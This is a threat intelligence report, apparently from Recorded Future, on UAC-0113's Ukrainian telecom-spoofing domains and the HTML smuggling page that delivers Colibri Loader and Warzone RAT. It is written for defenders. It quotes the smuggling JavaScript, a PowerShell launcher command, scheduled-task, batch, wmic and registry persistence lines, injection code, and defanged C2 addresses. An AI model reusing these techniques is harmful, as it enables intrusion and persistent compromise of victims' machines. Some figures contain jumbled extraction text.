CYBER THREAT ANALYSIS RUSSIA

# ·I¦I·Recorded Future®

By Insikt Group®

September 19, 2022

Russia-Nexus UAC-0113 Emulating Telecommunication Providers in Ukraine



This report profiles the unique infrastructure used by the threat activity group UAC-0113, which is linked with moderate confidence by CERT-UA to Sandworm. The activity was identified through a combination of large-scale automated network traffic analytics and analysis derived from open source reporting. The report will be of most interest to individuals engaged in strategic and operational intelligence relating to the activities of the Russian government in cyberspace and network defenders.

### **Executive Summary**

Recorded Future continues to monitor cyber espionage operations targeting government and private sector organizations across multiple geographic regions including Ukraine. From August 2022, Recorded Future observed a steady rise in command and control (C2) infrastructure used by the threat activity group tracked by Computer Emergency Response Team of Ukraine (CERT-UA) as UAC-0113.

UAC-0113 has been linked by CERT-UA to the Russian advanced persistent threat (APT) group Sandworm. This report highlights trends observed by Insikt Group while monitoring UAC-0113 infrastructure, including the recurring use of dynamic DNS domains masquerading as telecommunication providers operating in Ukraine, which shows that the group's efforts to target entities in Ukraine remains ongoing. Domain masquerades can enable spearphishing campaigns or redirects that pose a threat to victim networks.

Using a combination of proactive adversary infrastructure detections and domain analysis techniques, Insikt Group determined that UAC-0113's use of this newly discovered infrastructure overlaps with other infrastructure tactics, techniques, and procedures (TTPs) previously attributed to the group by CERT-UA. The information and TTPs provided in this report enables defenders to better search for and protect against activity by UAC-0113.

### **Key Judgments**

- Insikt Group has identified new infrastructure used by UAC-0113, a group linked with medium confidence to Sandworm by CERT-UA. Sandworm is a Russian advanced persistent threat (APT) group affiliated with the Main Intelligence Directorate/Main Directorate (GRU/ GU) of the General Staff of the Armed Forces of the Russian Federation.
- Identified staging infrastructure continues the trend of masquerading as telecommunication providers operating within Ukraine and delivers malicious payloads via an HTML smuggling technique that deploys Colibri Loader and Warzone RAT malware.
- Though the intent of the observed decoy document found in connection with this activity is not fully known, it's likely to be deployed against Ukraine-based targets in support of military action in the region similar to previous UAC-0113 lures.
- A transition from DarkCrystal RAT to Colibri Loader and Warzone RAT demonstrates UAC-0113's broadening but continuing use of publicly available commodity malware.

### Background

On June 24, 2022, a <u>report</u> by CERT-UA detailed the use of the DarkCrystal remote access trojan (RAT) by UAC-0113, a group CERT-UA has indicated as being linked to Sandworm, a Russian Main Intelligence Directorate/Main Directorate (GRU/ GU) related threat group. The CERT-UA report indicated that UAC-0113 was employing a malicious lure document which deployed DarkCrystal RAT. This activity likely targeted entities in Ukraine, specifically individuals or entities seeking information about Ukrainian military service personnel in relation to matters of legal assistance. Although the theme of this lure document was focused on military personnel legal matters, CERT-UA noted that the attack was also likely targeted at telecommunications providers of Ukraine.

DarkCrystal RAT is a commodity malware dating back to at least 2018; a sample of the malware was <u>posted</u> to Hybrid Analysis in November of that same year. Since its initial discovery, <u>reporting</u> indicates that it has been offered for sale in underground forums, likely making it a tool of interest to a wide range of threat actor groups, including those entities seeking an infostealer that can hinder attribution efforts by government or security professionals.

Analysis of infrastructure linked to UAC-0113 uncovered Threat and Technical Analysis a newly identified malicious ISO file (SHA256: 1c6643b4796 14340097a8071c9f880688af5a82db7b6e755beafe 7301eea1abf) as part of an HTML smuggling technique. The ISO file contained a lure document, written in Ukrainian, that masquerades as a request for discounts on fuel for citizens of the Oleksandrivka Raion (district), an area in Donetsk. Additionally, the ISO file delivers an executable that deploys both Colibri Loader and Warzone RAT to the target machine.

Colibri Loader, first reported by Insikt Group in August 2021, is a commodity malware leased on XSS Forum by the user "c0d3r\_0f\_shr0d13ng3r". It is written in assembly and C to target Windows operating systems without any dependencies. On March 11, 2022, Cloudsek researchers described Colibri Loader as "a type of malware that is used to load more types of malware into the infected system" which has "multiple techniques that help avoid detection". On April 5, 2022, Malwarebytes researchers also reported on the operations of the Colibri Loader and further detailed its functionality, including its ability to "deliver and manage payloads onto infected computers".

Warzone RAT (also known as Ave Maria Stealer) is a popular commodity remote access tool (RAT) that has been in active development since 2018. It is sold on underground forums and on the developer's website, warzone[.]ws. The malware is advertised as a full-featured RAT developed in C/C++ that claims to be "easy to use and highly reliable."

Insikt Group used intelligence provided by CERT-UA to discover further infrastructure linked to UAC-0113. The information uncovered suggests that it is highly likely that this threat group is continuing to masquerade as telecommunication providers operating within Ukraine. While monitoring the infrastructure, Insikt Group observed a malicious ISO file embedded in the HTML code, suggesting that domains and related IP addresses have likely already been, or are soon to become, operationalized.

### Infrastructure

A domain noted in CERT-UA's June report on UAC-0113, datagroup[.]ddns[.]net, was likely masquerading as the Ukrainian telecommunications company Datagroup. This domain resolved to the IP address 31[.]7[.]58[.]82, which also hosted a further domain, kyiv-star[.]ddns[.]net, likely masquerading as the Ukrainian telecommunications company Kyivstar.

Analysis of these domains and their related shared IP address revealed a ZeroSSL TLS certificate hosted on port 443 with the Subject Common Name datagroup[.]ddns[.]net. No certificate for kyiv-star[.]ddns[.]net was found. The server banner for IP address 31[.]7[.]58[.]82 is detailed below in Figure 2.



Figure 1: Maltego chart illustrating the links between previously reported infrastructure and the newly described infrastructure and activity in this reporting. See Appendix B (Source: Recorded Future).

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HTTP/1.1 200 OK
Date: Mon, 27 Jun 2022 03:17:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 14 Jun 2022 09:52:56 GMT
ETag: "0-5e1655e7b5c32"
Accept-Ranges: bytes
Content-Length: 0
Content-Type: text/html
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Figure 2: Server Banner of the IP Address 31[.]7[.]58[.]82 (Source: Shodan.io)

### FIRST REFERENCE

Certificate Registration "A certificate for the domain ett.ddns.net has been registered" Source New Certificate Registrations on Jul 7, 2022, 13:33 • Reference Actions

Figure 3: ett[.]ddns[.]net certificate registration event (Source: Recorded Future)

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charset=iso-8859<br>dy>\n <h1>Bad Reques<br/>ain HTTP to an SSL-</h1> | -1\r\n\r\n D0CTYPE HTML<br t\nYour browser<br>enabled server port. <br< td=""><td>PUBLIC "-//IETF//DTD HTML<br/>sent a request that this s<br/>/&gt;\n Instead use the HTTPS</td><td>2.0//EN"&gt;\n<html><h<br>erver could not unde<br/>scheme to access th</h<br></html></td><td>ead&gt;\n<title>400&lt;br&gt;rstand.&lt;br&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;"cp&lt;br&gt;],&lt;br&gt;"h&lt;br&gt;"m&lt;br&gt;"m&lt;br&gt;"n&lt;br&gt;"&lt;br&gt;"&lt;br&gt;"&lt;br&gt;"&lt;br&gt;;,&lt;br&gt;"state"&lt;/td&gt;&lt;td&gt;&lt;pre&gt;close\r\ Bad Requ /&gt;\nReas &lt;br/&gt;&lt;br/&gt;cbr /&gt;\n cpe:/a:apache ostname": "darke ethod": "probe_m ame": "http", roduct": "Apache ersion": "2.4.41 ': {&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;incontent-Type:&lt;br&gt;iest</title>\n&lt;<br/>ion: You\'re sp<br/>i\n<hr/>\n<a<br>:http_server:2<br/>:tt.ddns.net",<br/>iatching",<br/>: httpd",</a<br></td><td>: text/htm<br/>c/head&gt;<bo<br>beaking pl<br/>address&gt;Ap</bo<br></td><td>l; charset=iso-8859<br/>dy&gt;\n<h1>Bad Reques<br/>ain HTTP to an SSL-</h1></td><td>-1\r\n\r\n<!--D0CTYPE HTML<br-->t\nYour browser<br/>enabled server port.<br< td=""><td>PUBLIC "-//IETF//DTD HTML<br/>sent a request that this s<br/>/&gt;\n Instead use the HTTPS</td><td>2.0//EN"&gt;\n<html><h<br>erver could not unde<br/>scheme to access th</h<br></html></td><td>ead&gt;\n<title>400&lt;br&gt;rstand.&lt;br&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</title></td></br<></td></br<> | PUBLIC "-//IETF//DTD HTML<br>sent a request that this s<br>/>\n Instead use the HTTPS | 2.0//EN">\n <html><h<br>erver could not unde<br/>scheme to access th</h<br></html> | ead>\n <title>400&lt;br&gt;rstand.&lt;br&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;"cp&lt;br&gt;],&lt;br&gt;"h&lt;br&gt;"m&lt;br&gt;"m&lt;br&gt;"n&lt;br&gt;"&lt;br&gt;"&lt;br&gt;"&lt;br&gt;"&lt;br&gt;;,&lt;br&gt;"state"&lt;/td&gt;&lt;td&gt;&lt;pre&gt;close\r\ Bad Requ /&gt;\nReas &lt;br/&gt;&lt;br/&gt;cbr /&gt;\n cpe:/a:apache ostname": "darke ethod": "probe_m ame": "http", roduct": "Apache ersion": "2.4.41 ': {&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;incontent-Type:&lt;br&gt;iest</title> \n<<br>ion: You\'re sp<br>i\n <hr/> \n <a<br>:http_server:2<br/>:tt.ddns.net",<br/>iatching",<br/>: httpd",</a<br> | : text/htm<br>c/head> <bo<br>beaking pl<br/>address&gt;Ap</bo<br> | l; charset=iso-8859<br>dy>\n <h1>Bad Reques<br/>ain HTTP to an SSL-</h1> | -1\r\n\r\n D0CTYPE HTML<br t\nYour browser<br>enabled server port. <br< td=""><td>PUBLIC "-//IETF//DTD HTML<br/>sent a request that this s<br/>/&gt;\n Instead use the HTTPS</td><td>2.0//EN"&gt;\n<html><h<br>erver could not unde<br/>scheme to access th</h<br></html></td><td>ead&gt;\n<title>400&lt;br&gt;rstand.&lt;br&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</title></td></br<> | PUBLIC "-//IETF//DTD HTML<br>sent a request that this s<br>/>\n Instead use the HTTPS | 2.0//EN">\n <html><h<br>erver could not unde<br/>scheme to access th</h<br></html> | ead>\n <title>400&lt;br&gt;rstand.&lt;br&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</title> |

Figure 4: July 16, 2022, server banner and HTML from scan of the IP address 103[.]150[.]187[.]121 on port 4443 (Source: SecurityTrails)



### ett[.]ddns[.]net

Insikt Group identified further domain likely linked to UAC-0113, ett[.]ddns[.]net, hosted between July 7 and 15, 2022, on IP address 103[.]150[.]187[.]121. The domain ett[.]ddns[.]net is to the IP address 103[.]150[.]187[.]121, listing a new TLS likely a spoof of the legitimate domain for EuroTransTelecom certificate for the domain ett[.]hopto[.]org. This TLS certificate LLC, ett[.]ua, a Ukrainian telecommunications operator. This is also provided by ZeroSSL and was created on July 13, 2022. new infrastructure has several overlaps with the infrastructure On July 13, 2022, the domain ett[.]hopto[.]org resolved to the IP noted in the CERT-UA reports, such as the use of the Dynamic address 217[.]77[.]221[.]199. Further analysis of this IP address DNS provider NO-IP with a domain masquerading as a also details the resolution of the domain, star-link[.]ddns[.]net, telecommunications provider operating in Ukraine, the use of on August 15, 2022, again likely spoofing a telecommunications a TLS certificate from a free TLS certificate provider, and a company, Starlink (operated by American manufacturer SpaceX), server banner that shares similarities with the banner seen on which is reportedly assisting Ukraine in the conflict with Russia. IP address 31[.]7[.]58[.]82 shown above in Figure 2.

### darkett[.]ddns[.]net

In addition to the ett[.]ddns[.]net domain, SecurityTrails banner data identifies a similarly named domain, darkett[.] ddns[.]net, hosted on the same IP address, 103[.]150[.]187[.]121, as ett[.]ddns[.]net. The domain darkett.ddns[.]net also uses a TLS certificate provided by ZeroSSL, similar to the previously observed domain datagroup[.]ddns[.]net.

Further analysis of the domain darkett.ddns[.]net revealed that between July 15 and 16, 2022, the domain was also hosted on IP address 94[.]153[.]171[.]42. Historical DNS for IP address 94[.]153[.]171[.]42 also lists a resolution for the domain kievstar[.] online on July 12, 2022.

### kievstar[.]online

On July 12, 2022, the domain kievstar[.]online moved from IP address 94[.]153[.]171[.]42 to multiple content delivery network (CDN) IP addresses hosted by Cloudflare. Further analysis of the domain kievstar[.]online details a Let's Encrypt TLS certificate that was created on July 12, 2022.

### 103[.]150[.]187[.]121, ett[.]hopto[.]org and star-link[.] ddns[.]net

On August 1, 2022, SecurityTrails identified further updates

```
"issuer": {
   "common name": "ZeroSSL RSA Domain Secure
Site CA",
   "country name": "AT",
   "distinguished name": "Common Name: ZeroSSL
RSA Domain Secure Site CA, Organization:
ZeroSSL, Country: AT",
   "organization name": "ZeroSSL"
...
 "subject": {
   "common name": "ett.hopto[.]org",
   "distinguished name": "Common Name: ett.
hopto[.]org"
}
 "validity": {
   "not after": "2022-10-11T23:59:59+00:00",
   "not before": "2022-07-13T00:00:00+00:00"
 }
 } :"ofni revres"
 ,"2.1vSLT" :"detroppus noisrev lss tsehgih"
 , "121[.]781[.]051[.]301" : "emantsoh"
 , "121[.]781[.]051[.]301" : "sserdda pi"
  SLT" :"detroppus_gnirts_rehpic_lssnepo"
,"652AHS MCG 821 SEA HTIW ASR EHDCE
 344 :"trop"
```

TRIGGERED RISK RULES Learn More 🔞 Newly Registered Certificate With Potential for Abuse - Typo or Homograph + 1 sighting on 1 source New Certificate Registrations. Certificate registered on Aug 15, 2022. Recent Typosquat Similarity - Typo or Homograph • Identified by Recorded Future as potential typosquatting Typo or Homograph similarity found between star-link.ddns.net and 1 possible target: star-link.us.

Figure 7: star-link[.]ddns[.]net's Intelligence Card (Source: Recorded Future)

Figure 6: JSON excerpts from August 1, 2022, scan of the IP address 103[,150[,187[,121 on port 443 (Source: SecurityTrails)



### star-cz[.]ddns[.]net

Analysis of the domain star-cz.ddns[.]net, <u>reported</u> by CERT-UA on June 10, 2022, shows a resolution to the IP address 103[.]27[.]202[.]127. A further domain, kyivstar[.]online, was also found to resolve to this same IP address and the use of this domain continues with the theme of emulating telecommunication providers in Ukraine. The aforementioned use of the similar domain kievstar[.]online is of note as the spelling is not typically employed in Ukraine but has been employed <u>previously</u> by the international community, as well as historically during Soviet times, and has now been carried into Russian domestic colloquial use.

### **Domain to IP Address Resolutions Timeline**

### **HTML Analysis1**

The domains ett[.]ddns[.]net, star-link[.]ddns[.]net, kievstar[.]online, and IP addresses 103[.]150[.]187[.]121 and 217[.]77[.]221[.]199 have all hosted, at various times, the same web page. The web page features the Ukrainian-language text "ОДЕСЬКА ОБЛАСНА ВІЙСЬКОВА АДМІНІСТРАЦІЯ" which translates as "Odesa Regional Military Administration", along with "File is downloaded automatically" in English as shown in Figure 9 below.

### ОДЕСЬКА ОБЛАСНА ВІЙСЬКОВА АДМІНІСТРАЦІЯ

File is downloaded automatically

### Figure 9: Screenshot of 103[.]150[.]187[.]121 (Source: URLScan)

Contained within the HTML of the webpage is a Base64encoded <u>ISO file</u> that is deployed via the HTML smuggling technique. This ISO file is set to auto-download when the website is visited. Figure 10 below shows the HTML content of the file.

1 As part of the ongoing tracking of UAC-0113 activity, Insikt Group has identified that as of September 5th, 2022, the staging servers, kievstar[.]online, and IP address 103[.]150[.]187[.]121 have been updated and are now serving new malicious lure files via HTML smuggling. The newly identified lure files masquerade as a "password leak" and deliver Eternity Stealer malware.

	DUCITE ntmt
	<html></html>
	<head></head>
	<pre><meta content="text/html; charset=utf-8" http-equiv="Content-Type"/> <title>TEST</title></pre>
	<LINK href="styles.css" rel="stylesheet" type="text/css" >
	Sticker.
	<body></body>
	<h2>ОДЕСЬКА ОБЛАСНА ВІЙСЬКОВА АДМІНІСТРАЦІЯ</h2>
12	File is downloaded automatically
	<script></th></tr><tr><th></th><th>function b64toarray(base64) {</th></tr><tr><th></th><th><pre>var bin_string = window.atob(base64);</pre></th></tr><tr><th></th><th><pre>var len = bin_string.length;</pre></th></tr><tr><th>17</th><th>var bytes = new Uint8Array( len );</th></tr><tr><th></th><th>for <math>(var \ i = 0; \ i < len; \ i++)</math></th></tr><tr><th></th><th>{</th></tr><tr><th>20</th><th><pre>bytes[i] = bin string.charCodeAt(i);</pre></th></tr><tr><th>21</th><th>}</th></tr><tr><th>22</th><th>return bytes.buffer;</th></tr><tr><th>23</th><th>}</th></tr><tr><th></th><th><pre>var binary = "Base64 Encoded Data"; // Insikt Note - We have removed the actual Base64 data to assist with readability.</pre></th></tr><tr><th></th><th></th></tr><tr><th></th><th>for (var i = 0x0 ; i < binary['length'] ; i++) {</th></tr><tr><th></th><th><pre>binary[i] = binary[i] - 11;</pre></th></tr><tr><th></th><th>}</th></tr><tr><th></th><th></th></tr><tr><th>30</th><th><pre>var data = b64toarray(binary);</pre></th></tr><tr><th>31</th><th><pre>var blob = new Blob([data], {type: 'octet/stream'});</pre></th></tr><tr><th>32</th><th>var payloadfilename = '3 ЗАЯВА-на-отримання-компенсації.iso';</th></tr><tr><th></th><th></th></tr><tr><th></th><th><pre>var a = document.createElement('a');</pre></th></tr><tr><th></th><th><pre>document.body.appendChild(a);</pre></th></tr><tr><th>36</th><th><pre>var url = window.URL.createObjectURL(blob);</pre></th></tr><tr><th>37</th><th>a.href = url;</th></tr><tr><th></th><th>a.download = payloadfilename;</th></tr><tr><th>38</th><th>a.click():</th></tr><tr><th></th><th></th></tr><tr><th>40</th><th><pre>window.URL.revokeObjectURL(url);</pre></th></tr><tr><th></th><th></script>

Figure 10: The HTML content for the IP address 103[.]150[.]187[.]121 (with Base64-encoded data removed), August 8, 2022 (Source: URLScan)

Insikt Group inspected the web page's HTML, and identified embedded JavaScript, which assists in the malicious ISO delivery lines 11-13 shown in Figure 11 above and further detailed in Figure behavior of the page. Testing the functionality of the for loop on 12 below, which is used to subtract the integer 17 from each of lines 26 to 28 does not change the Base64-encoded data held the decimal values in the variable "d", which deobfuscates the in the variable "binary". The for loop attempts to take away the malicious ISO payload. integer value 11 from the characters that make up the Base64 string. JavaScript will produce an error when attempting to subtract an integer from a char, resulting in its value not being updated. The Base64 contents of the variable "binary" will be exactly the same after going through the for loop, making it redundant, and the Base64 data will still correctly decode to an ISO file.

The purpose of the inclusion of this routine by UAC-0113 could be due to operator error, as its functionality serves no purpose because strings are immutable objects in JavaScript.

Of note, a report by Palo Alto's Unit42 details a similar HTML Smuggling routine used by APT29 in a separate campaign to download an ISO file, shown below in Figure 11. APT29's original use of this routine was for a binary array, which helps to potentially illuminate UAC-0113's redundant for loop's original purpose. APT29's HTML and JavaScript code has similar overlaps with the UAC-0113 linked sample shown in Figure 10 above.



Figure 11 : Screenshot of HTML content, used by APT29, from hXXps://porodicno[.]ba/wp-content/ Agenda[.]html (with the array of decimal values of obfuscated payload abbreviated with the use of ..") (Source: URLScan)

APT29's correctly functioning for loop routine can be seen on

Further comparison of the 2 routines highlights some cosmetic changes, possibly to frustrate security researchers and hinder signaturing of these functions.



Figure 13: Screenshot of the for loop used by UAC-0113 in 103[.]150[.]187[.]121 (Source: URLScan)

It is currently unknown why there is a similarity overlap **3\_3AЯВА-на-отримання-компенсації.iso** between the 2 threat actor groups' use of this ISO delivery functionality; one hypothesis is that UAC-0113 took inspiration from or directly copied this functionality from open source reporting on APT29, or that the same open source resource was used as a codebase.

A Base64-encoded ISO file, titled "3\_ЗАЯВА-на-отриманнякомпенсації.iso" (SHA256: 1c6643b479614340097a8071c9f 880688af5a82db7b6e755beafe7301eea1abf) was found within the HTML of IP address 103[.]150[.]187[.]121. The ISO file was created on August 5, 2022, its title translates from Ukrainian as "3\_APPLICATION-for-receiving-compensation". The ISO file contains a folder titled "3A9BA" and 3 files as shown in Table 1

### **Malware Analysis**

An analysis of the UAC-0113 ISO file and its content was below. conducted by Insikt Group and is detailed in the following sections.

Filename	Translation	SHA256
jfilyg7.exe	N/A	722c36abd195cce70ee25b48d6e64873262e046 eae7433976120a1496f01487d
ЗАЯВА-на-отримання- компенсації.Ink	APPLICATION-for-receiving- compensation.Ink	bc4cab14e4b378a7b98185367b4778f92eb4335f aba1a4503f4cfb7aba8f13e7
ЗАЯВА/З_ЗАЯВА-на-отримання- компенсації-додаткової-знижки- сімям-загиблих2.doc	APPLICATION/3_APPLICATION- for-receiving-compensation- additional-discount-for-the- families-of-the-deceased2.doc	a5a20063c8699c66f5292ed1da7c860360baf6cf 2a52f33c2c0b8873a995397c

Table 1: File content information and translations for 3\_ЗАЯВА-на-отримання-компенсації.iso (Source: Recorded Future)

→ × ↑ 🔤	> This	PC > DVD Drive (E:) NEW_VOLUME_5981 >		~	Ū	Search DVD Drive (E:) NEW_VOLUN
Quick access Desktop Downloads Documents Pictures Music Videos	* * * *	Name ЗАЯВА јіјуд7.ехе ЗАЯВА-на-отримання-компенсації	Date modified 8/3/2022 8:25 AM 8/3/2022 1:41 PM 6/5/2021 1:07 PM	Ap	e folder plication prtcut	
This PC Network						

Figure 14: Screenshot of the contents of 3\_ЗАЯВА-на-отримання-компенсації.iso file (Source: Recorded Future)

The directory "3ARBA" and "jfilyg7.exe" file were both Configured as hidden, and would not normally be visible to the with a small script provided as a command line argument via the Command option. The PowerShell script, shown in Figure 15

### ЗАЯВА-на-отримання-компенсації.Ink

The malicious shortcut (LNK) file is visible by default to the victim and is used to initiate a malicious PowerShell script. The LNK file is configured to use a Windows folder icon, as shown in Figure 15 below, likely in an attempt to masquerade as a legitimate folder. The shortcut file contains the comment "WORKED3", possibly indicating that this is the third attempt to create the malicious payload.

📕 ЗАЯВА-на-от	-отримання-компенсації Properties								
Colors		Terminal Details							
General	Shortcut	Options	Font	Layout					
3A	\ЯВА-на-отри	имання-компенса	ації						
Target type:	Target type: Application								
Target location:	v1.0								
Target:	C:\Windows	SysWOW64\Win	dowsPowerS	hell\v1.					
Start in:	Start in: ::\Windows\SysWOW64\WindowsPowerShell\v1.0								
Shortcut key:	None								
Run:	Minimized			$\checkmark$					
Comment:	Comment: WORKED3								
Open File L	ocation	Change Icon	Advance	ed					
		ОК	Cancel	Apply					

Figure 15: Screenshot of the properties tab for the LNK file ЗАЯВА-на-отримання-компенсації.lnk (Source: Recorded Future)

The target of the shortcut is powershell.exe, which is executed with a small script provided as a command line argument via the Command option. The PowerShell script, shown in Figure 15 below, determines the drive letter that the ISO file is mounted on by iterating over each of the system's available drives looking for hidden files located in the root of the filesystem with a filename containing the string "jfilyg7". Once the drive letter is identified, it proceeds to open the "3ARBA" folder using the Invoke-Item cmdlet and also executes "jfilyg7.exe" using the Start-Process cmdlet.

```
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\
powershell.exe -Command $f = `jfilyg7';Foreach($d
in Get-PSDrive|ForEach-Object{$PSItem.
Root} | findstr `:\') {$w=gci -hidden $d |
findstr $f;if($w.Contains($f)){break}};ii
$d'3AABA';start($d+$f)
```

Figure 16: Target of the ЗАЯВА-на-отримання-компенсації.Ink shortcut file (Source: Recorded



Figure 17: Overview Colibri Loader and WarzoneRAT execution (Source: Recorded Future) Future)

### jfilyg7.exe

Loader used to deliver Warzone RAT to the victim's system. payload, spawns a copy of itself, and then uses process hollowing The loader communicates2 with its command-and-control (C2) to execute the payload. The injected payload is another instance Base64 encoding, and is capable of downloading new payloads and establish persistence on the victim machine. to execute and removing itself from victim systems.

performed by each malware.

Upon execution, jfilyg7.exe decrypts 2 embedded portable executable (PE) file payloads. The first PE file is a copy of Colibri Loader that is written to "C:\ProgramData\conhost.exe" and executed. The second PE file is a copy of WarzoneRAT that is injected into a spawned copy of jfilyg7.exe via process hollowing.

### Colibri Loader

Colibri Loader's conhost.exe process follows a similar pattern The main payload, jfilyg7.exe, is an instance of Colibri as jfilyg7.exe, as shown in Figure 18 below. It decrypts a PE file server over HTTP using a combination of RC4 encryption and of Colibri Loader that is used to communicate with its C2 server

For persistence, Colibri Loader drops a copy of itself in Figure 17, shown below, provides an overview of the actions "%APPDATA%\Local\Microsoft\WindowsApps" folder as Get-Variable.exe. It then creates the seemingly benign-looking scheduled task shown in Figure 19 to execute a hidden instance of PowerShell.

```
schtasks.exe /create /tn COMSurrogate /st 00:00
/du 9999:59 /sc once /ri 1 /f /tr "powershell.
exe -windowstyle hidden"
```

Figure 19: Scheduled task used by Colibri Loader for persistence (Source: Recorded Future)

https[:]//fr3d[.]hk/blog/colibri-loader-back-to-basics 2

```
GetModuleFileNameA(NULL, filename, 0x104);
VirtualProtect(decrypt_data,0x2a,PAGE_EXECUTE_READWRITE,&oldprotect);
decrypt_data(&code_func,0x208,"15867");
VirtualProtect(&code_func,0x208,PAGE_EXECUTE_READWRITE,&oldprotect);
colibri_pe = allocateMemory(&DAT_00f53940,0,10,&numBytes1,&s_ntdll + 1,&s_RtlAllocateHeap + 1);
code = allocateMemory(&DAT_00f53050,0xe1,5,&numBytes2,&s_ntdll + 1,&s_RtlAllocateHeap + 1);
                  // decrypts Colibri Loader PE file
decrypt_data(colibri_pe,numBytes1,"17833");
                  // decrypt code
decrypt data(code,numBytes2,&s 6849);
VirtualProtect(code,numBytes2,PAGE_EXECUTE_READWRITE,&oldprotect);
                  // Spawn process and perform process injection to execute Colibri Loader
(*(code + 0xa0))();
return 0:
```

Figure 18: conhost.exe payload decryption and process injection (Source: Recorded Future)

When run, the scheduled task takes advantage of a Warzone RAT searching order hijacking vulnerability in PowerShell identified by MalwareBytes in April 2022. The Get-Variable cmdlet is used as part of PowerShell's initialization; however, PowerShell searches for the cmdlet using the default path (containing the WindowsApps directory) first, and therefore executes the Colibri payload instead of the legitimate Get-Variable cmdlet.

Finally, the Colibri Loader process begins communication with its C2. To do this, it generates a UID3 based on the victim machine's serial number and sends it via a "check" command to the C2. Once the C2 responds, it follows up with an "update" command to provide the C2 with information about the victim machine. It then sends a "ping" command that is used to check for further instructions from the C2, such as downloading a new payload or cleaning up an infected system.

A full configuration extraction of the Colibri Loader sample is provided below in Table 2. It shows that the Colibri Loader is version 1.2.0, the botnet identifier is "Build1", and 2 C2 addresses are provided.

ltem	Value
Version	1.2.0
Botnet	Build1
	hXXp://zpltcmgodhvvedxtfcygvbg- jkvgvcguygytfigj[.]cc/gate.php
C2 Addresses hXXp://yugyuvyugguitgyuigtfyutd ghbbgyv[.]cx/gate.php	

Table 2: Extracted Colibri Loader configuration (Source: Recorded Future)

The Warzone RAT payload also establishes persistence on the victim machine. It employs 2 methods: a batch file placed in the user's Startup folder and a registry run key.

Warzone RAT drops a copy of itself in the "ApplicationData" alternate data stream (ADS) of a file named "Documents" located in the user's Documents folder. A batch file named "programs. bat" is also created and placed in the user's "%AppData%\ Roaming\Microsoft\Windows\Start Menu\Programs\Startup" folder. This file contains commands to loop through another ADS stored in the "programs.bat" file named "start" and executes each line within the stream. The "programs.bat:start" ADS contains a wmic command to create a process from the Documents: Application Data ADS. The full contents of the programs.bat file and its start ADS are provided in Figures 20 and 21.

```
for /F "usebackq tokens=*" %%A in ("C:\
Users\<user>\AppData\Roaming\Microsoft\Windows\
Start Menu\Programs\Startup\programs.bat:start")
do %%A
```

Figure 20: Contents of Warzone RAT's programs.bat file (Source: Recorded Future)

```
wmic process call create `"C:\Users\<user>\
Documents \Documents: ApplicationData"'
```

Figure 21: Contents of Warzone RAT's programs.bat:start ADS (Source: Recorded Future)

For the other persistence method, Warzone RAT drops a copy of itself in the user's Documents folder as MSCommonDriver.exe and sets the registry run key shown below to the dropped file's path. The file name MSCommonDriver.exe has also previously been used by UAC-0113 during their deployment of DarkCrystal RAT.

https[:]//fr3d[.]hk/blog/colibri-loader-back-to-basics

\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\	
CurrentVersion\Run\MSCommonDriver	

Figure 22: Warzone RAT's registry run key used for persistence (Source: Recorded Future)

The MSCommonDriver.exe is also executed and then begins reveals communication to communicating with the Warzone RAT C2 located at darkfox[.] yugyuvyugguitgyuigtfyutdtoghg ddns[.]net on port 443. August 1, 2022, resolves to IP addr

Domain	Port	
darkfox[.]ddns[.]net	443	
darksea[.]ddns[.]net	443	

Table 3: Extracted Warzone C2 configuration (Source: Recorded Future)

### ЗАЯВА/З\_ЗАЯВА-на-отримання-компенсаціїдодаткової-знижки-сімям-загиблих2.doc

A decoy document, titled "3\_3AЯВА-на-отриманнякомпенсації-додаткової-знижки-сімям-загиблих2.doc", found inside the folder "3AЯВА", is shown in Figure 23. The document is opened via the commands executed by the aforementioned LNK file 3AЯВА-на-отримання-компенсації.lnk. The folder and document translate from Ukrainian to English as "APPLICATION" and "3\_APPLICATION-for-receiving-compensation-additionaldiscount-for-the-families-of-the-deceased2.doc", respectively.

The document itself does not engage in malicious activity but is used to hide the operations undertaken by the malicious LNK file. The Ukrainian-language text details that the document is an application for citizens to request discounts on fuel from the head of the Zaporozhye Regional Department for Social Protection in the Oleksandrivka Raion (district), an area in Donetsk.

### **Colibri Loader and Warzone Rat C2 Analysis**

### **Colibri Loader C2 Servers**

Network analysis of the Colibri Loader sample reveals communication to 2 distinct domains, yugyuvyugguitgyuigtfyutdtoghghbbgyv[.]cx, which as of August 1, 2022, resolves to IP address 65[.]108[.]213[.]210, and zpltcmgodhvvedxtfcygvbgjkvgvcguygytfigj[.]cc, which between June 28, 2022, and up until July 28, 2022, also resolved to the aforementioned IP address 65[.]108[.]213[.]210. As of July 28, 2022, zpltcmgodhvvedxtfcygvbgjkvgvcguygytfigj[.]cc resolves to a CDN IP address hosted by Cloudflare. Insikt Group is unable to definitively state if UAC-0113 is the sole owner or operator of these C2 domains, or if they are owned or controlled by the threat actors or authors behind Colibri themselves.

Searches within Hatching Triage's public sandbox revealed <u>30 distinct uploaded samples</u> that have also communicated with both of these Colibri Loader C2 domains, with the earliest sample submitted on July 4, 2022. Within the 30 samples, there are also references to a range of other malware including:

- Raccoon Stealer
- RedLine Stealer
- Socelars
- Nymaim
- PrivateLoader
- Dark Crystal RAT
- Djvu Ransomware
- Vidar Stealer

### Warzone Rat C2 Server

Network analysis of the Warzone RAT sample deployed by file "jfilyg7.exe", revealed communication to 2 C2 domains, darkfox[.] ddns[.]net, which resolves to IP address 94[.]158[.]156[.]4 and is listed as being hosted in the city of Odesa, Ukraine, and darksea[.]ddns, which resolves to IP address 91[.]200[.]114[.]141 which is listed as being hosted in Lviv, Ukraine.

Начальнику	управління соціального
захисту насе	елення Запорізької
міської ради	и по Олександрівському
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### ЗАЯВА

